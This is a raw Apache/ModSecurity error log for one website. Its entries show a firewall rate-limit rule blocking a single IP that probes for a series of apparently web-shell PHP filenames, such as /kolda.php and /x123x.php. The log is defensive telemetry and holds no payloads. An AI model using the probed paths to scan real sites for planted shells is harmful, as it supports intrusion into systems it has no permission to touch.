[Sun Apr 05 23:25:59.733888 2026] [:error] [pid 45304:tid 45349] [client 68.221.134.12:23154] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "adJ_Bw5jnqDKKovdRklGSAAAAEU"]
[Sun Apr 05 23:26:00.663260 2026] [:error] [pid 45409:tid 45424] [client 68.221.134.12:34137] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "adJ_CNHt_Oyw03gjCNh33AAAAM0"]
[Sun Apr 05 23:26:01.601557 2026] [:error] [pid 45409:tid 45411] [client 68.221.134.12:33673] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "adJ_CdHt_Oyw03gjCNh35AAAAMA"]
[Sun Apr 05 23:26:02.193063 2026] [:error] [pid 45409:tid 45421] [client 68.221.134.12:23133] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "adJ_CtHt_Oyw03gjCNh35gAAAMo"]
[Sun Apr 05 23:26:02.710518 2026] [:error] [pid 45305:tid 45383] [client 68.221.134.12:23137] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "adJ_CujDQjr7aWhjflCQrQAAAIw"]
[Sun Apr 05 23:26:03.426476 2026] [:error] [pid 45304:tid 45366] [client 68.221.134.12:15602] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "adJ_Cw5jnqDKKovdRklGSwAAAFY"]
[Sun Apr 05 23:26:04.052310 2026] [:error] [pid 45409:tid 45415] [client 68.221.134.12:33675] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "adJ_DNHt_Oyw03gjCNh38wAAAMQ"]
[Sun Apr 05 23:26:04.722126 2026] [:error] [pid 45409:tid 45416] [client 68.221.134.12:29853] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "adJ_DNHt_Oyw03gjCNh39gAAAMU"]
[Sun Apr 05 23:26:05.268864 2026] [:error] [pid 45303:tid 45327] [client 68.221.134.12:34106] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp-image.php"] [unique_id "adJ_DbboQ9eViZ4hdnmPLQAAAAo"]
[Sun Apr 05 23:26:06.320961 2026] [:error] [pid 45409:tid 45434] [client 68.221.134.12:15513] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp-image.php"] [unique_id "adJ_DtHt_Oyw03gjCNh4AgAAANc"]
[Sun Apr 05 23:26:07.177712 2026] [:error] [pid 30921:tid 30935] [client 68.221.134.12:33720] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp-image.php"] [unique_id "adJ_D2FGQVn8Q0ueB25acAAAAQw"]
[Sun Apr 05 23:26:08.158426 2026] [:error] [pid 45409:tid 45433] [client 68.221.134.12:39985] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp-image.php"] [unique_id "adJ_ENHt_Oyw03gjCNh4CgAAANY"]
[Sun Apr 05 23:26:09.161175 2026] [:error] [pid 45409:tid 45425] [client 68.221.134.12:15494] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kolda.php"] [unique_id "adJ_EdHt_Oyw03gjCNh4DgAAAM4"]
[Sun Apr 05 23:26:10.190359 2026] [:error] [pid 45409:tid 45428] [client 68.221.134.12:15512] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kolda.php"] [unique_id "adJ_EtHt_Oyw03gjCNh4EQAAANE"]
[Sun Apr 05 23:26:11.289029 2026] [:error] [pid 45305:tid 45392] [client 68.221.134.12:57732] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kolda.php"] [unique_id "adJ_E-jDQjr7aWhjflCQuwAAAJU"]
[Sun Apr 05 23:26:11.911388 2026] [:error] [pid 45304:tid 45363] [client 68.221.134.12:64647] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kolda.php"] [unique_id "adJ_Ew5jnqDKKovdRklGVwAAAFM"]
[Sun Apr 05 23:26:12.755954 2026] [:error] [pid 45409:tid 45434] [client 68.221.134.12:47491] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yussef.php"] [unique_id "adJ_FNHt_Oyw03gjCNh4HAAAANc"]
[Sun Apr 05 23:26:14.257268 2026] [:error] [pid 45409:tid 45414] [client 68.221.134.12:4913] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yussef.php"] [unique_id "adJ_FtHt_Oyw03gjCNh4JwAAAMM"]
[Sun Apr 05 23:26:15.807215 2026] [:error] [pid 45303:tid 45331] [client 68.221.134.12:33685] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yussef.php"] [unique_id "adJ_F7boQ9eViZ4hdnmPRgAAAA4"]
[Sun Apr 05 23:26:16.912530 2026] [:error] [pid 45409:tid 45426] [client 68.221.134.12:34104] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yussef.php"] [unique_id "adJ_GNHt_Oyw03gjCNh4OQAAAM8"]
[Sun Apr 05 23:26:17.790138 2026] [:error] [pid 45409:tid 45416] [client 68.221.134.12:64688] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ay.php"] [unique_id "adJ_GdHt_Oyw03gjCNh4PwAAAMU"]
[Sun Apr 05 23:26:18.873667 2026] [:error] [pid 45305:tid 45379] [client 68.221.134.12:64680] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ay.php"] [unique_id "adJ_GujDQjr7aWhjflCQwwAAAIg"]
[Sun Apr 05 23:26:22.330105 2026] [:error] [pid 30921:tid 30946] [client 68.221.134.12:34095] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ay.php"] [unique_id "adJ_HmFGQVn8Q0ueB25ajwAAARc"]
[Sun Apr 05 23:26:22.940431 2026] [:error] [pid 45305:tid 45393] [client 68.221.134.12:4912] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ay.php"] [unique_id "adJ_HujDQjr7aWhjflCQxwAAAJY"]
[Sun Apr 05 23:26:23.581351 2026] [:error] [pid 45305:tid 45373] [client 68.221.134.12:64640] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/12.php"] [unique_id "adJ_H-jDQjr7aWhjflCQygAAAII"]
[Sun Apr 05 23:26:24.148948 2026] [:error] [pid 45305:tid 45382] [client 68.221.134.12:39990] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/12.php"] [unique_id "adJ_IOjDQjr7aWhjflCQzAAAAIs"]
[Sun Apr 05 23:26:25.263572 2026] [:error] [pid 45305:tid 45377] [client 68.221.134.12:39969] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/12.php"] [unique_id "adJ_IejDQjr7aWhjflCQ0QAAAIY"]
[Sun Apr 05 23:26:25.819803 2026] [:error] [pid 45409:tid 45422] [client 68.221.134.12:51007] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/12.php"] [unique_id "adJ_IdHt_Oyw03gjCNh4dgAAAMs"]
[Sun Apr 05 23:26:26.552050 2026] [:error] [pid 45305:tid 45372] [client 68.221.134.12:45361] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/btx25.php"] [unique_id "adJ_IujDQjr7aWhjflCQ1QAAAIE"]
[Sun Apr 05 23:26:27.164516 2026] [:error] [pid 45304:tid 45363] [client 68.221.134.12:64703] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/btx25.php"] [unique_id "adJ_Iw5jnqDKKovdRklGZAAAAFM"]
[Sun Apr 05 23:26:27.722621 2026] [:error] [pid 45304:tid 45356] [client 68.221.134.12:39971] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/btx25.php"] [unique_id "adJ_Iw5jnqDKKovdRklGZQAAAEw"]
[Sun Apr 05 23:26:28.324241 2026] [:error] [pid 45304:tid 45366] [client 68.221.134.12:4868] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/btx25.php"] [unique_id "adJ_JA5jnqDKKovdRklGZgAAAFY"]
[Sun Apr 05 23:26:28.858784 2026] [:error] [pid 45303:tid 45317] [client 68.221.134.12:33791] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x123x.php"] [unique_id "adJ_JLboQ9eViZ4hdnmPWQAAAAA"]
[Sun Apr 05 23:26:29.376853 2026] [:error] [pid 45303:tid 45338] [client 68.221.134.12:46286] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x123x.php"] [unique_id "adJ_JbboQ9eViZ4hdnmPXAAAABU"]
[Sun Apr 05 23:26:30.189857 2026] [:error] [pid 45409:tid 45429] [client 68.221.134.12:47529] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x123x.php"] [unique_id "adJ_JtHt_Oyw03gjCNh4hQAAANI"]
[Sun Apr 05 23:26:30.821915 2026] [:error] [pid 45305:tid 45393] [client 68.221.134.12:39972] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x123x.php"] [unique_id "adJ_JujDQjr7aWhjflCQ4QAAAJY"]
[Sun Apr 05 23:26:31.671752 2026] [:error] [pid 45305:tid 45395] [client 68.221.134.12:29001] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/trx24.php"] [unique_id "adJ_J-jDQjr7aWhjflCQ4wAAAJg"]
[Sun Apr 05 23:26:32.482964 2026] [:error] [pid 45409:tid 45421] [client 68.221.134.12:4895] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/trx24.php"] [unique_id "adJ_KNHt_Oyw03gjCNh4jwAAAMo"]
[Sun Apr 05 23:26:33.276723 2026] [:error] [pid 45409:tid 45418] [client 68.221.134.12:47541] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/trx24.php"] [unique_id "adJ_KdHt_Oyw03gjCNh4lAAAAMc"]
[Sun Apr 05 23:26:34.049967 2026] [:error] [pid 45409:tid 45426] [client 68.221.134.12:47528] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/trx24.php"] [unique_id "adJ_KtHt_Oyw03gjCNh4mQAAAM8"]
[Sun Apr 05 23:26:35.061579 2026] [:error] [pid 45303:tid 45325] [client 68.221.134.12:33771] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lv.php"] [unique_id "adJ_K7boQ9eViZ4hdnmPYAAAAAg"]
[Sun Apr 05 23:26:35.950251 2026] [:error] [pid 45409:tid 45421] [client 68.221.134.12:52308] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lv.php"] [unique_id "adJ_K9Ht_Oyw03gjCNh4owAAAMo"]
[Sun Apr 05 23:26:36.498078 2026] [:error] [pid 30921:tid 30932] [client 68.221.134.12:51005] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lv.php"] [unique_id "adJ_LGFGQVn8Q0ueB25awAAAAQk"]
[Sun Apr 05 23:26:38.123616 2026] [:error] [pid 45304:tid 45351] [client 68.221.134.12:46295] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lv.php"] [unique_id "adJ_Lg5jnqDKKovdRklGcwAAAEc"]
[Sun Apr 05 23:26:39.066497 2026] [:error] [pid 45303:tid 45331] [client 68.221.134.12:33760] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dass.php"] [unique_id "adJ_L7boQ9eViZ4hdnmPbwAAAA4"]
[Sun Apr 05 23:26:41.159396 2026] [:error] [pid 45303:tid 45327] [client 68.221.134.12:45334] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dass.php"] [unique_id "adJ_MbboQ9eViZ4hdnmPdwAAAAo"]
[Sun Apr 05 23:26:43.389049 2026] [:error] [pid 45409:tid 45427] [client 68.221.134.12:46306] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dass.php"] [unique_id "adJ_M9Ht_Oyw03gjCNh4tQAAANA"]
[Sun Apr 05 23:26:45.054842 2026] [:error] [pid 45409:tid 45431] [client 68.221.134.12:33790] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dass.php"] [unique_id "adJ_NdHt_Oyw03gjCNh4ugAAANQ"]
[Sun Apr 05 23:26:45.847133 2026] [:error] [pid 45409:tid 45414] [client 68.221.134.12:49991] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/less.php"] [unique_id "adJ_NdHt_Oyw03gjCNh4wAAAAMM"]
[Sun Apr 05 23:26:47.079483 2026] [:error] [pid 45409:tid 45435] [client 68.221.134.12:50988] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/less.php"] [unique_id "adJ_N9Ht_Oyw03gjCNh4ywAAANg"]
[Sun Apr 05 23:26:47.955354 2026] [:error] [pid 45304:tid 45350] [client 68.221.134.12:50011] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/less.php"] [unique_id "adJ_Nw5jnqDKKovdRklGdwAAAEY"]
[Sun Apr 05 23:26:48.791851 2026] [:error] [pid 45303:tid 45327] [client 68.221.134.12:49993] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/less.php"] [unique_id "adJ_OLboQ9eViZ4hdnmPiQAAAAo"]
[Sun Apr 05 23:26:49.509584 2026] [:error] [pid 45303:tid 45338] [client 68.221.134.12:33781] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ss.php"] [unique_id "adJ_ObboQ9eViZ4hdnmPjAAAABU"]
[Sun Apr 05 23:26:50.214092 2026] [:error] [pid 45409:tid 45429] [client 68.221.134.12:29024] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ss.php"] [unique_id "adJ_OtHt_Oyw03gjCNh42wAAANI"]
[Sun Apr 05 23:26:50.818491 2026] [:error] [pid 45303:tid 45335] [client 68.221.134.12:46313] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ss.php"] [unique_id "adJ_OrboQ9eViZ4hdnmPlgAAABI"]
[Sun Apr 05 23:26:51.424249 2026] [:error] [pid 45303:tid 45337] [client 68.221.134.12:51000] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ss.php"] [unique_id "adJ_O7boQ9eViZ4hdnmPmgAAABQ"]
